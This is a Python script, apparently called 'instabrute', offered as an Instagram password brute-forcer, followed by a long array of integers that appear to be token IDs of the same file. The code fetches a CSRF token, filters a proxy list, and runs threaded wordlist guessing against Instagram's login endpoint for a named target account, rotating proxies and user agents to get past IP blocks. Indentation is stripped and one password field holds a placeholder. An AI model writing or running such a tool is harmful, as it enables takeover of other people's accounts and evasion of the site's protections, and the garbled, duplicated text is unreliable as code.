def check_proxy(q):
"""
check proxy for and append to working proxies
:param q:
"""
if not q.empty():
proxy = q.get(False)
proxy = proxy.replace("\r", "").replace("\n", "")
try:
opener = rq.build_opener(
rq.ProxyHandler({'https': 'https://' + proxy}),
rq.HTTPHandler(),
rq.HTTPSHandler()
)
opener.addheaders = [('User-agent', 'Mozilla/5.0')]
rq.install_opener(opener)
req = rq.Request('https://api.ipify.org/')
if rq.urlopen(req).read().decode() == proxy.partition(':')[0]:
proxys_working_list.update({proxy: proxy})
if _verbose:
print(c+"[+]"+w+" Successfully connected with "+proxy)
else:
if _verbose:
print(r+"[!]"+w+" Failed to connect with "+proxy)
except Exception as err:
if _verbose:
print(r+"[!]"+w+" Failed to connect with "+proxy)
if _debug:
logger.error(err)
pass
def get_csrf():
"""
get CSRF token from login page to use in POST requests
"""
global csrf_token
print(y+"[+]"+w+" Trying to get CSRF token ...")
try:
opener = rq.build_opener(rq.HTTPHandler(), rq.HTTPSHandler())
opener.addheaders = [('User-agent', 'Mozilla/5.0')]
rq.install_opener(opener)
request = rq.Request('https://www.instagram.com/')
try:
# python 2
headers = rq.urlopen(request).info().headers
except Exception:
# python 3
headers = rq.urlopen(request).info().get_all('Set-Cookie')
for header in headers:
if header.find('csrftoken') != -1:
csrf_token = header.partition(';')[0].partition('=')[2]
print(c+"[+]"+w+" CSRF Token : "+csrf_token)
except Exception as err:
print(r+"[!]"+w+" Oops, cant get CSRF token, please try again")
if _debug:
logger.error(err)
print("[!]"" Exiting ...")
exit(3)
def brute(q):
"""
main worker function
:param word:
:param event:
:return:
"""
if not q.empty():
try:
proxy = None
if len(proxys_working_list) != 0:
proxy = random.choice(list(proxys_working_list.keys()))
word = q.get()
word = word.replace("\r", "").replace("\n", "")
post_data = {
'username': USER,
'password': <PASSWORD>,
}
header = {
"User-Agent": random.choice(user_agents),
'X-Instagram-AJAX': '1',
"X-CSRFToken": csrf_token,
"X-Requested-With": "XMLHttpRequest",
"Referer": "https://www.instagram.com/",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
'Cookie': 'csrftoken=' + csrf_token
}
if proxy:
if _verbose:
print(y+"[-]"+w+" Password incorrect %s %s " % (word, proxy,))
opener = rq.build_opener(
rq.ProxyHandler({'https': 'https://' + proxy}),
rq.HTTPHandler(),
rq.HTTPSHandler()
)
else:
if _verbose:
print(y+"[-]"+w+" Password incorrect %s" % (word,))
opener = rq.build_opener(
rq.HTTPHandler(),
rq.HTTPSHandler()
)
rq.install_opener(opener)
req = rq.Request(URL, data=http_parser.urlencode(post_data).encode('ascii'), headers=header)
sock = rq.urlopen(req)
if sock.read().decode().find('"authenticated": true') != -1:
print(c+"\n[+]"+w+" Successful exploitation")
print(w+" Username: "+y, USER)
print(w+" Password: "+y, word)
found_flag = True
q.queue.clear()
q.task_done()
except HTTPError as e:
if e.getcode() == 400 or e.getcode() == 403:
if e.read().decode("utf8", 'ignore').find('"checkpoint_required"') != -1:
print(c+"\n[!]"+w+" Successfully login, but checkpoint")
print("")
print(r+"[!]"+w+" Username: "+y, USER)
print(r+"[!]"+w+" Password: "+y, word)
print("")
found_flag = True
q.queue.clear()
q.task_done()
return
elif proxy:
print(r+"[!] Error:"+w+" Proxy IP %s now is blocked by instagram" % (proxy,))
if proxy in proxys_working_list:
proxys_working_list.pop(proxy)
print(c+"[+]"+w+" Online Proxy: ", str(len(proxys_working_list)))
else:
print(r+"[!] Error:"+w+" Your IP now is blocked by instagram")
print(r+"[!]"+w+" Please use Proxy or VPN App")
else:
print(r+"[!]"+w+" Error:", e.getcode())
q.task_done()
return
except Exception as err:
if _debug:
print(r+"[!]"+w+" Problems in the proxy connection")
logger.error(err)
else:
print(r+"[!]"+w+" Problems in the proxy connection")
pass
return
def starter():
"""
threading workers initialize
"""
global found_flag
queue = Queue.Queue()
threads = []
max_thread = THREAD
found_flag = False
queuelock = threading.Lock()
print(y+"\n[-]"+w+" Preparing for attack ...")
print(c+"[!]"+w+" Bruteforce is running\n")
try:
for word in words:
queue.put(word)
while not queue.empty():
queuelock.acquire()
for workers in range(max_thread):
t = threading.Thread(target=brute, args=(queue,))
t.setDaemon(True)
t.start()
threads.append(t)
for t in threads:
t.join()
queuelock.release()
if found_flag:
break
print("")
print(y+"[!]"+w+" Bruteforce attack completed")
except Exception as err:
print(err)
def check_avalaible_proxys(proxys):
"""
check avalaible proxyies from proxy_list file
"""
socket.setdefaulttimeout(30)
global proxys_working_list
print(y+"[-]"+w+" Try connecting with a proxy list ...\n")
proxys_working_list = {}
max_thread = THREAD
queue = Queue.Queue()
queuelock = threading.Lock()
threads = []
for proxy in proxys:
queue.put(proxy)
while not queue.empty():
queuelock.acquire()
for workers in range(max_thread):
t = threading.Thread(target=check_proxy, args=(queue,))
t.setDaemon(True)
t.start()
threads.append(t)
for t in threads:
t.join()
queuelock.release()
print(c+"[+]"+w+" Successfully connected with "+ str(len(proxys_working_list))+" proxy")
if __name__ == "__main__":
parser = argparse.ArgumentParser(
description="Instagram BruteForcer",
epilog="./instabrute -u user_test -w words.txt -p proxys.txt -t 4 -d -v"
)
# required argument
parser.add_argument('-u', '--username', action="store", required=True,
help='Target Username')
parser.add_argument('-w', '--word', action="store", required=True,
help='Words list path')
parser.add_argument('-p', '--proxy', action="store", required=True,
help='Proxy list path')
# optional arguments
parser.add_argument('-t', '--thread', help='Thread', type=int, default=4)
parser.add_argument('-v', '--verbose', action='store_const', help='Thread', const=True, default=False)
parser.add_argument('-d', '--debug', action='store_const', const=True, help='Debug mode', default=False)
args = parser.parse_args()
URL = "https://www.instagram.com/accounts/login/ajax/"
USER = args.username
THREAD = args.thread
_verbose = args.verbose
_debug = args.debug
user_agents = ["Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko)",
"Mozilla/5.0 (Linux; U; Android 2.3.5; en-us; HTC Vision Build/GRI40) AppleWebKit/533.1",
"Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko)",
"Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201",
"Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0",
"Mozilla/5.0 (Windows; U; MSIE 9.0; WIndows NT 9.0; en-US))"]
try:
words = open(args.word).readlines()
except IOError:
print("[-]"" Error: Check your word list file path\n")
sys.exit(1)
try:
proxys = open(args.proxy).readlines()
except IOError:
print("[-]"" Error: Check your proxy list file path\n")
sys.exit(1)
# enable debugging if its set
if _debug:
# Logging stuff
logging.basicConfig(level=logging.DEBUG, filename="log",
format='%(asctime)s - %(name)s - %(levelname)s - %(message)s')
logger = logging.getLogger(__name__)
print(y+"[-]"+w+" Starting bruteforce attack to", USER)
print(y+"[-]"+w+" List of words found on file", str(len(words)))
print(y+"[-]"+w+" List of proxy found on proxys.txt", str(len(proxys)))
check_avalaible_proxys(proxys)
get_csrf()
starter()
| [
1,
529,
9507,
29958,
4548,
417,
277,
29914,
24911,
1182,
1082,
29914,
1649,
3396,
335,
26914,
2272,
13,
29937,
14137,
29922,
9420,
29899,
29947,
13,
29937,
1738,
29914,
4855,
29914,
2109,
29914,
4691,
13,
13,
3166,
4770,
29888,
9130,
1649,
1053,
1596,
29918,
2220,
13,
3166,
832,
370,
29878,
1082,
1053,
334,
13,
5215,
1852,
5510,
13,
5215,
12183,
13,
5215,
4036,
13,
5215,
9909,
13,
5215,
10876,
13,
5215,
3244,
292,
13,
13,
29878,
543,
29905,
29916,
29896,
29890,
29961,
29929,
29896,
29885,
29908,
13,
29893,
543,
29905,
29916,
29896,
29890,
29961,
29900,
29900,
29885,
29908,
13,
29883,
353,
26732,
29916,
29896,
29890,
29961,
29941,
29953,
29936,
29896,
29885,
29908,
13,
29891,
543,
29905,
29916,
29896,
29890,
29961,
29941,
29941,
29885,
29908,
13,
13,
2202,
29901,
13,
1678,
1053,
3142,
1982,
29889,
3827,
408,
364,
29939,
13,
1678,
515,
3142,
1982,
29889,
2704,
1053,
7331,
2392,
13,
1678,
1053,
3142,
1982,
29889,
5510,
408,
1732,
29918,
16680,
13,
19499,
16032,
2392,
29901,
13,
1678,
1053,
3142,
1982,
29906,
408,
364,
29939,
13,
1678,
515,
3142,
1982,
29906,
1053,
7331,
2392,
13,
1678,
1053,
3142,
1982,
408,
1732,
29918,
16680,
13,
13,
2202,
29901,
13,
1678,
1053,
5462,
434,
13,
19499,
16032,
2392,
29901,
13,
1678,
1053,
9521,
408,
5462,
434,
13,
13,
1753,
1423,
29918,
14701,
29898,
29939,
1125,
13,
1678,
9995,
13,
1678,
1423,
10166,
363,
322,
9773,
304,
1985,
410,
29916,
583,
13,
1678,
584,
3207,
3855,
29901,
13,
1678,
9995,
13,
1678,
565,
451,
3855,
29889,
6310,
7295,
13,
13,
4706,
10166,
353,
3855,
29889,
657,
29898,
8824,
29897,
13,
4706,
10166,
353,
10166,
29889,
6506,
14182,
29878,
613,
376,
2564,
6506,
14182,
29876,
613,
20569,
13,
13,
4706,
1018,
29901,
13,
9651,
1015,
759,
353,
364,
29939,
29889,
4282,
29918,
459,
759,
29898,
13,
18884,
364,
29939,
29889,
14048,
4598,
3319,
29915,
991,
2396,
525,
991,
597,
29915,
718,
10166,
9594,
13,
18884,
364,
29939,
29889,
10493,
4598,
3285,
13,
18884,
364,
29939,
29889,
10493,
29903,
4598,
580,
13,
9651,
1723,
13,
13,
9651,
1015,
759,
29889,
1202,
13662,
353,
518,
877,
2659,
29899,
14748,
742,
525,
29924,
2112,
2911,
29914,
29945,
29889,
29900,
1495,
29962,
13,
9651,
364,
29939,
29889,
6252,
29918,
459,
759,
29898,
459,
759,
29897,
13,
13,
9651,
12428,
353,
364,
29939,
29889,
3089,
877,
991,
597,
2754,
29889,
666,
1598,
29889,
990,
29914,
1495,
13,
13,
9651,
565,
364,
29939,
29889,
332,
417,
2238,
29898,
7971,
467,
949,
2141,
13808,
580,
1275,
10166,
29889,
16707,
877,
29901,
29861,
29900,
5387,
13,
18884,
410,
29916,
952,
29918,
22899,
29918,
1761,
29889,
5504,
3319,
14701,
29901,
10166,
1800,
13,
18884,
565,
903,
369,
15828,
29901,
13,
462,
1678,
1596,
29898,
29883,
13578,
29961,
29974,
29962,
17969,
29893,
13578,
21397,
3730,
6631,
411,
15691,
14701,
29897,
13,
9651,
1683,
29901,
13,
18884,
565,
903,
369,
15828,
29901,
13,
462,
1678,
1596,
29898,
29878,
13578,
29961,
29991,
29962,
17969,
29893,
13578,
18390,
304,
4511,
411,
15691,
14701,
29897,
13,
13,
4706,
5174,
8960,
408,
4589,
29901,
13,
9651,
565,
903,
369,
15828,
29901,
13,
18884,
1596,
29898,
29878,
13578,
29961,
29991,
29962,
17969,
29893,
13578,
18390,
304,
4511,
411,
15691,
14701,
29897,
13,
9651,
565,
903,
8382,
29901,
13,
18884,
17927,
29889,
2704,
29898,
3127,
29897,
13,
9651,
1209,
13,
13,
13,
1753,
679,
29918,
2395,
9600,
7295,
13,
1678,
9995,
13,
1678,
679,
315,
14098,
29943,
5993,
515,
6464,
1813,
304,
671,
297,
11971,
7274,
13,
1678,
9995,
13,
1678,
5534,
5939,
9600,
29918,
6979,
13,
13,
1678,
1596,
29898,
29891,
13578,
29961,
29974,
29962,
17969,
29893,
13578,
24428,
304,
679,
315,
14098,
29943,
5993,
2023,
1159,
13,
13,
1678,
1018,
29901,
13,
4706,
1015,
759,
353,
364,
29939,
29889,
4282,
29918,
459,
759,
29898,
29878,
29939,
29889,
10493,
4598,
3285,
364,
29939,
29889,
10493,
29903,
4598,
3101,
13,
4706,
1015,
759,
29889,
1202,
13662,
353,
518,
877,
2659,
29899,
14748,
742,
525,
29924,
2112,
2911,
29914,
29945,
29889,
29900,
1495,
29962,
13,
4706,
364,
29939,
29889,
6252,
29918,
459,
759,
29898,
459,
759,
29897,
13,
13,
4706,
2009,
353,
364,
29939,
29889,
3089,
877,
991,
597,
1636,
29889,
2611,
14442,
29889,
510,
29914,
1495,
13,
4706,
1018,
29901,
13,
9651,
396,
3017,
29871,
29906,
13,
9651,
9066,
353,
364,
29939,
29889,
332,
417,
2238,
29898,
3827,
467,
3888,
2141,
13662,
13,
4706,
5174,
8960,
29901,
13,
9651,
396,
3017,
29871,
29941,
13,
9651,
9066,
353,
364,
29939,
29889,
332,
417,
2238,
29898,
3827,
467,
3888,
2141,
657,
29918,
497,
877,
2697,
29899,
24914,
1495,
13,
13,
4706,
363,
4839,
297,
9066,
29901,
13,
9651,
565,
4839,
29889,
2886,
877,
2395,
9600,
6979,
1495,
2804,
448,
29896,
29901,
13,
18884,
5939,
9600,
29918,
6979,
353,
4839,
29889,
16707,
877,
29936,
29861,
29900,
1822,
16707,
877,
29922,
29861,
29906,
29962,
13,
18884,
1596,
29898,
29883,
13578,
29961,
29974,
29962,
17969,
29893,
13578,
315,
14098,
29943,
25159,
584,
15691,
2395,
9600,
29918,
6979,
29897,
13,
1678,
5174,
8960,
408,
4589,
29901,
13,
4706,
1596,
29898,
29878,
13578,
29961,
29991,
29962,
17969,
29893,
13578,
438,
3554,
29892,
5107,
679,
315,
14098,
29943,
5993,
29892,
3113,
1018,
1449,
1159,
13,
13,
4706,
565,
903,
8382,
29901,
13,
9651,
17927,
29889,
2704,
29898,
3127,
29897,
13,
13,
4706,
1596,
703,
29961,
29991,
29962,
15945,
1222,
11407,
2023,
1159,
13,
4706,
6876,
29898,
29941,
29897,
13,
13,
13,
1753,
1506,
1082,
29898,
29939,
1125,
13,
1678,
9995,
13,
1678,
1667,
15645,
740,
13,
1678,
584,
3207,
1734,
29901,
13,
1678,
584,
3207,
1741,
29901,
13,
1678,
584,
2457,
29901,
13,
1678,
9995,
13,
1678,
565,
451,
3855,
29889,
6310,
7295,
13,
4706,
1018,
29901,
13,
9651,
10166,
353,
6213,
13,
9651,
565,
7431,
29898,
771,
29916,
952,
29918,
22899,
29918,
1761,
29897,
2804,
29871,
29900,
29901,
13,
18884,
10166,
353,
4036,
29889,
16957,
29898,
1761,
29898,
771,
29916,
952,
29918,
22899,
29918,
1761,
29889,
8149,
22130,
13,
13,
9651,
1734,
353,
3855,
29889,
657,
580,
13,
9651,
1734,
353,
1734,
29889,
6506,
14182,
29878,
613,
376,
2564,
6506,
14182,
29876,
613,
20569,
13,
13,
9651,
1400,
29918,
1272,
353,
426,
13,
18884,
525,
6786,
2396,
3148,
1001,
29892,
13,
18884,
525,
5630,
2396,
529,
25711,
17013,
10202,
13,
9651,
500,
13,
13,
9651,
4839,
353,
426,
13,
18884,
376,
2659,
29899,
19661,
1115,
4036,
29889,
16957,
29898,
1792,
29918,
351,
1237,
511,
13,
18884,
525,
29990,
29899,
3379,
14442,
29899,
29909,
16405,
2396,
525,
29896,
742,
13,
18884,
376,
29990,
29899,
9295,
29934,
29943,
6066,
1115,
5939,
9600,
29918,
6979,
29892,
13,
18884,
376,
29990,
29899,
3089,
287,
29899,
3047,
1115,
376,
9165,
26021,
613,
13,
18884,
376,
1123,
571,
261,
1115,
376,
991,
597,
1636,
29889,
2611,
14442,
29889,
510,
29914,
613,
13,
18884,
376,
3916,
29899,
1542,
1115,
376,
6214,
29914,
29916,
29899,
1636,
29899,
689,
29899,
2271,
26716,
29936,
17425,
29922,
10496,
29899,
29947,
613,
13,
18884,
525,
24914,
2396,
525,
2395,
9600,
6979,
2433,
718,
5939,
9600,
29918,
6979,
13,
9651,
500,
13,
13,
9651,
565,
10166,
29901,
13,
18884,
565,
903,
369,
15828,
29901,
13,
462,
1678,
1596,
29898,
29891,
13578,
14352,
29962,
17969,
29893,
13578,
25280,
10240,
1273,
29879,
1273,
29879,
376,
1273,
313,
1742,
29892,
10166,
29892,
876,
13,
13,
18884,
1015,
759,
353,
364,
29939,
29889,
4282,
29918,
459,
759,
29898,
13,
462,
1678,
364,
29939,
29889,
14048,
4598,
3319,
29915,
991,
2396,
525,
991,
597,
29915,
718,
10166,
9594,
13,
462,
1678,
364,
29939,
29889,
10493,
4598,
3285,
13,
462,
1678,
364,
29939,
29889,
10493,
29903,
4598,
580,
13,
18884,
1723,
13,
13,
9651,
1683,
29901,
13,
18884,
565,
903,
369,
15828,
29901,
13,
462,
1678,
1596,
29898,
29891,
13578,
14352,
29962,
17969,
29893,
13578,
25280,
10240,
1273,
29879,
29908,
1273,
313,
1742,
29892,
876,
13,
13,
18884,
1015,
759,
353,
364,
29939,
29889,
4282,
29918,
459,
759,
29898,
13,
462,
1678,
364,
29939,
29889,
10493,
4598,
3285,
13,
462,
1678,
364,
29939,
29889,
10493,
29903,
4598,
580,
13,
18884,
1723,
13,
13,
9651,
364,
29939,
29889,
6252,
29918,
459,
759,
29898,
459,
759,
29897,
13,
13,
9651,
12428,
353,
364,
29939,
29889,
3089,
29898,
4219,
29892,
848,
29922,
1124,
29918,
16680,
29889,
2271,
12508,
29898,
2490,
29918,
1272,
467,
12508,
877,
294,
18869,
5477,
9066,
29922,
6672,
29897,
13,
9651,
577,
384,
353,
364,
29939,
29889,
332,
417,
2238,
29898,
7971,
29897,
13,
13,
9651,
565,
577,
384,
29889,
949,
2141,
13808,
2141,
2886,
877,
29908,
27218,
630,
1115,
1565,
1495,
2804,
448,
29896,
29901,
13,
18884,
1596,
29898,
29883,
13578,
29905,
29876,
29961,
29974,
29962,
17969,
29893,
13578,
21397,
1319,
16035,
7018,
1159,
13,
18884,
1596,
29898,
29893,
13578,
1678,
4911,
978,
29901,
15691,
29891,
29892,
3148,
1001,
29897,
13,
18884,
1596,
29898,
29893,
13578,
1678,
25280,
29901,
15691,
29891,
29892,
1734,
29897,
13,
18884,
1476,
29918,
15581,
353,
5852,
13,
18884,
3855,
29889,
9990,
29889,
8551,
580,
13,
18884,
3855,
29889,
7662,
29918,
15091,
580,
13,
13,
4706,
5174,
7331,
2392,
408,
321,
29901,
13,
9651,
565,
321,
29889,
657,
401,
580,
1275,
29871,
29946,
29900,
29900,
470,
321,
29889,
657,
401,
580,
1275,
29871,
29946,
29900,
29941,
29901,
13,
18884,
565,
321,
29889,
949,
2141,
13808,
703,
9420,
29947,
613,
525,
17281,
2824,
2886,
877,
29908,
3198,
3149,
29918,
12403,
29908,
1495,
2804,
448,
29896,
29901,
13,
462,
1678,
1596,
29898,
29883,
13578,
29905,
29876,
29961,
29991,
29962,
17969,
29893,
13578,
21397,
3730,
6464,
29892,
541,
1423,
3149,
1159,
13,
462,
1678,
1596,
703,
1159,
13,
462,
1678,
1596,
29898,
29878,
13578,
29961,
29991,
29962,
17969,
29893,
13578,
4911,
978,
29901,
15691,
29891,
29892,
3148,
1001,
29897,
13,
462,
1678,
1596,
29898,
29878,
13578,
29961,
29991,
29962,
17969,
29893,
13578,
25280,
29901,
15691,
29891,
29892,
1734,
29897,
13,
462,
1678,
1596,
703,
1159,
13,
462,
1678,
1476,
29918,
15581,
353,
5852,
13,
462,
1678,
3855,
29889,
9990,
29889,
8551,
580,
13,
462,
1678,
3855,
29889,
7662,
29918,
15091,
580,
13,
462,
1678,
736,
13,
18884,
25342,
10166,
29901,
13,
462,
1678,
1596,
29898,
29878,
13578,
29961,
29991,
29962,
4829,
6160,
29974,
29893,
13578,
1019,
3594,
5641,
1273,
29879,
1286,
338,
24370,
491,
832,
14442,
29908,
1273,
313,
14701,
29892,
876,
13,
462,
1678,
565,
10166,
297,
410,
29916,
952,
29918,
22899,
29918,
1761,
29901,
13,
462,
4706,
410,
29916,
952,
29918,
22899,
29918,
1761,
29889,
7323,
29898,
14701,
29897,
13,
462,
1678,
1596,
29898,
29883,
13578,
29961,
29974,
29962,
17969,
29893,
13578,
13542,
1019,
3594,
29901,
9162,
851,
29898,
2435,
29898,
771,
29916,
952,
29918,
22899,
29918,
1761,
4961,
13,
18884,
1683,
29901,
13,
462,
1678,
1596,
29898,
29878,
13578,
29961,
29991,
29962,
4829,
6160,
29974,
29893,
13578,
3575,
5641,
1286,
338,
24370,
491,
832,
14442,
1159,
13,
462,
1678,
1596,
29898,
29878,
13578,
29961,
29991,
29962,
17969,
29893,
13578,
3529,
671,
1019,
3594,
470,
478,
15695,
2401,
1159,
13,
9651,
1683,
29901,
13,
18884,
1596,
29898,
29878,
13578,
29961,
29991,
29962,
17969,
29893,
13578,
4829,
29901,
613,
321,
29889,
657,
401,
3101,
13,
13,
9651,
3855,
29889,
7662,
29918,
15091,
580,
13,
9651,
736,
13,
13,
4706,
5174,
8960,
408,
4589,
29901,
13,
9651,
565,
903,
8382,
29901,
13,
18884,
1596,
29898,
29878,
13578,
29961,
29991,
29962,
17969,
29893,
13578,
11583,
29879,
297,
278,
10166,
3957,
1159,
13,
18884,
17927,
29889,
2704,
29898,
3127,
29897,
13,
9651,
1683,
29901,
13,
18884,
1596,
29898,
29878,
13578,
29961,
29991,
29962,
17969,
29893,
13578,
11583,
29879,
297,
278,
10166,
3957,
1159,
13,
13,
9651,
1209,
13,
9651,
736,
13,
13,
13,
1753,
380,
4254,
7295,
13,
1678,
9995,
13,
1678,
3244,
292,
17162,
11905,
13,
1678,
9995,
13,
1678,
5534,
1476,
29918,
15581,
13,
13,
1678,
9521,
353,
5462,
434,
29889,
10620,
580,
13,
1678,
9717,
353,
5159,
13,
1678,
4236,
29918,
7097,
353,
3446,
16310,
13,
1678,
1476,
29918,
15581,
353,
7700,
13,
13,
1678,
712,
2491,
1698,
353,
3244,
292,
29889,
16542,
580,
13,
13,
1678,
1596,
29898,
29891,
13578,
29905,
29876,
14352,
29962,
17969,
29893,
13578,
4721,
862,
292,
363,
5337,
2023,
1159,
13,
1678,
1596,
29898,
29883,
13578,
29961,
29991,
29962,
17969,
29893,
13578,
1771,
1082,
10118,
338,
2734,
29905,
29876,
1159,
13,
13,
1678,
1018,
29901,
13,
4706,
363,
1734,
297,
3838,
29901,
13,
9651,
9521,
29889,
649,
29898,
1742,
29897,
13,
4706,
1550,
451,
9521,
29889,
6310,
7295,
13,
9651,
712,
2491,
1698,
29889,
562,
1548,
580,
13,
9651,
363,
17162,
297,
3464,
29898,
3317,
29918,
7097,
1125,
13,
18884,
260,
353,
3244,
292,
29889,
4899,
29898,
5182,
29922,
1182,
1082,
29892,
6389,
7607,
9990,
29892,
876,
13,
18884,
260,
29889,
842,
27838,
9857,
29898,
5574,
29897,
13,
18884,
260,
29889,
2962,
580,
13,
18884,
9717,
29889,
4397,
29898,
29873,
29897,
13,
9651,
363,
260,
297,
9717,
29901,
13,
18884,
260,
29889,
7122,
580,
13,
9651,
712,
2491,
1698,
29889,
14096,
580,
13,
9651,
565,
1476,
29918,
15581,
29901,
13,
18884,
2867,
13,
4706,
1596,
703,
1159,
13,
4706,
1596,
29898,
29891,
13578,
29961,
29991,
29962,
17969,
29893,
13578,
1771,
1082,
10118,
5337,
8676,
1159,
13,
308,
13,
1678,
5174,
8960,
408,
4589,
29901,
13,
4706,
1596,
29898,
3127,
29897,
13,
13,
13,
1753,
1423,
29918,
7712,
1794,
569,
29918,
771,
29916,
952,
29898,
771,
29916,
952,
1125,
13,
1678,
9995,
13,
4706,
1423,
263,
791,
1794,
569,
10166,
583,
515,
10166,
29918,
1761,
934,
13,
1678,
9995,
13,
1678,
9909,
29889,
842,
4381,
15619,
29898,
29941,
29900,
29897,
13,
13,
1678,
5534,
410,
29916,
952,
29918,
22899,
29918,
1761,
13,
1678,
1596,
29898,
29891,
13578,
14352,
29962,
17969,
29893,
13578,
3967,
16791,
411,
263,
10166,
1051,
2023,
29905,
29876,
1159,
13,
13,
1678,
410,
29916,
952,
29918,
22899,
29918,
1761,
353,
6571,
13,
1678,
4236,
29918,
7097,
353,
3446,
16310,
13,
13,
1678,
9521,
353,
5462,
434,
29889,
10620,
580,
13,
1678,
712,
2491,
1698,
353,
3244,
292,
29889,
16542,
580,
13,
1678,
9717,
353,
5159,
13,
13,
1678,
363,
10166,
297,
410,
29916,
952,
29901,
13,
4706,
9521,
29889,
649,
29898,
14701,
29897,
13,
13,
1678,
1550,
451,
9521,
29889,
6310,
7295,
13,
4706,
712,
2491,
1698,
29889,
562,
1548,
580,
13,
4706,
363,
17162,
297,
3464,
29898,
3317,
29918,
7097,
1125,
13,
9651,
260,
353,
3244,
292,
29889,
4899,
29898,
5182,
29922,
3198,
29918,
14701,
29892,
6389,
7607,
9990,
29892,
876,
13,
9651,
260,
29889,
842,
27838,
9857,
29898,
5574,
29897,
13,
9651,
260,
29889,
2962,
580,
13,
9651,
9717,
29889,
4397,
29898,
29873,
29897,
13,
4706,
363,
260,
297,
9717,
29901,
13,
9651,
260,
29889,
7122,
580,
13,
4706,
712,
2491,
1698,
29889,
14096,
580,
13,
13,
1678,
1596,
29898,
29883,
13578,
29961,
29974,
29962,
17969,
29893,
13578,
21397,
3730,
6631,
411,
15691,
851,
29898,
2435,
29898,
771,
29916,
952,
29918,
22899,
29918,
1761,
876,
13578,
10166,
1159,
13,
13,
13,
361,
4770,
978,
1649,
1275,
376,
1649,
3396,
1649,
1115,
13,
13,
1678,
13812,
353,
1852,
5510,
29889,
15730,
11726,
29898,
13,
4706,
6139,
543,
3379,
14442,
1771,
1082,
2831,
2265,
613,
13,
4706,
9358,
26140,
543,
6904,
2611,
370,
29878,
1082,
448,
29884,
1404,
29918,
1688,
448,
29893,
3838,
29889,
3945,
448,
29886,
410,
29916,
952,
29889,
3945,
448,
29873,
29871,
29946,
448,
29881,
448,
29894,
29908,
13,
1678,
1723,
13,
13,
1678,
396,
3734,
2980,
13,
1678,
13812,
29889,
1202,
29918,
23516,
877,
29899,
29884,
742,
525,
489,
6786,
742,
3158,
543,
8899,
613,
3734,
29922,
5574,
29892,
13,
462,
4706,
1371,
2433,
8667,
4911,
978,
1495,
13,
1678,
13812,
29889,
1202,
29918,
23516,
877,
29899,
29893,
742,
525,
489,
1742,
742,
3158,
543,
8899,
613,
3734,
29922,
5574,
29892,
13,
462,
4706,
1371,
2433,
29956,
4339,
1051,
2224,
1495,
13,
1678,
13812,
29889,
1202,
29918,
23516,
877,
29899,
29886,
742,
525,
489,
14701,
742,
3158,
543,
8899,
613,
3734,
29922,
5574,
29892,
13,
462,
4706,
1371,
2433,
14048,
1051,
2224,
1495,
13,
1678,
396,
13136,
6273,
13,
1678,
13812,
29889,
1202,
29918,
23516,
877,
29899,
29873,
742,
525,
489,
7097,
742,
1371,
2433,
4899,
742,
1134,
29922,
524,
29892,
2322,
29922,
29946,
29897,
13,
1678,
13812,
29889,
1202,
29918,
23516,
877,
29899,
29894,
742,
525,
489,
369,
15828,
742,
3158,
2433,
8899,
29918,
3075,
742,
1371,
2433,
4899,
742,
1040,
29922,
5574,
29892,
2322,
29922,
8824,
29897,
13,
1678,
13812,
29889,
1202,
29918,
23516,
877,
29899,
29881,
742,
525,
489,
8382,
742,
3158,
2433,
8899,
29918,
3075,
742,
1040,
29922,
5574,
29892,
1371,
2433,
11862,
4464,
742,
2322,
29922,
8824,
29897,
13,
13,
1678,
6389,
353,
13812,
29889,
5510,
29918,
5085,
580,
13,
13,
1678,
3988,
353,
376,
991,
597,
1636,
29889,
2611,
14442,
29889,
510,
29914,
10149,
29879,
29914,
7507,
29914,
6538,
12975,
13,
1678,
3148,
1001,
353,
6389,
29889,
6786,
13,
1678,
3446,
16310,
353,
6389,
29889,
7097,
13,
1678,
903,
369,
15828,
353,
6389,
29889,
369,
15828,
13,
1678,
903,
8382,
353,
6389,
29889,
8382,
13,
13,
1678,
1404,
29918,
351,
1237,
353,
6796,
29924,
2112,
2911,
29914,
29946,
29889,
29900,
313,
23712,
29936,
341,
5425,
29923,
29871,
29955,
29889,
29900,
29936,
3852,
405,
29911,
29871,
29953,
29889,
29900,
19123,
13,
462,
259,
376,
29924,
2112,
2911,
29914,
29945,
29889,
29900,
313,
15735,
524,
10578,
29936,
18555,
4326,
6570,
1060,
29871,
29896,
29900,
29918,
29929,
29918,
29906,
29897,
12113,
3609,
13117,
29914,
29945,
29941,
29955,
29889,
29941,
29953,
313,
29968,
7020,
29892,
763,
1879,
27604,
19123,
13,
462,
259,
376,
29924,
2112,
2911,
29914,
29945,
29889,
29900,
313,
24085,
29936,
501,
29936,
5669,
29871,
29906,
29889,
29941,
29889,
29945,
29936,
427,
29899,
375,
29936,
3154,
29907,
478,
2459,
8878,
29914,
29954,
3960,
29946,
29900,
29897,
12113,
3609,
13117,
29914,
29945,
29941,
29941,
29889,
29896,
613,
13,
462,
259,
376,
29924,
2112,
2911,
29914,
29945,
29889,
29900,
313,
29875,
20369,
29936,
10808,
6570,
29871,
29953,
29918,
29900,
763,
4326,
6570,
1060,
29897,
12113,
3609,
13117,
29914,
29945,
29941,
29953,
29889,
29906,
29953,
313,
29968,
7020,
29892,
763,
1879,
27604,
19123,
13,
462,
259,
376,
29924,
2112,
2911,
29914,
29945,
29889,
29900,
313,
7685,
29936,
501,
29936,
3852,
405,
29911,
29871,
29953,
29889,
29896,
29936,
364,
29894,
29901,
29906,
29889,
29906,
29897,
1879,
27604,
29914,
29906,
29900,
29896,
29896,
29900,
29906,
29900,
29896,
613,
13,
462,
259,
376,
29924,
2112,
2911,
29914,
29945,
29889,
29900,
313,
7685,
405,
29911,
29871,
29945,
29889,
29896,
29936,
364,
29894,
29901,
29941,
29896,
29889,
29900,
29897,
1879,
27604,
29914,
29906,
29900,
29896,
29900,
29900,
29896,
29900,
29896,
14418,
29914,
29941,
29896,
29889,
29900,
613,
13,
462,
259,
376,
29924,
2112,
2911,
29914,
29945,
29889,
29900,
313,
7685,
29936,
501,
29936,
341,
5425,
29923,
29871,
29929,
29889,
29900,
29936,
399,
2568,
1242,
405,
29911,
29871,
29929,
29889,
29900,
29936,
427,
29899,
3308,
876,
3108,
13,
13,
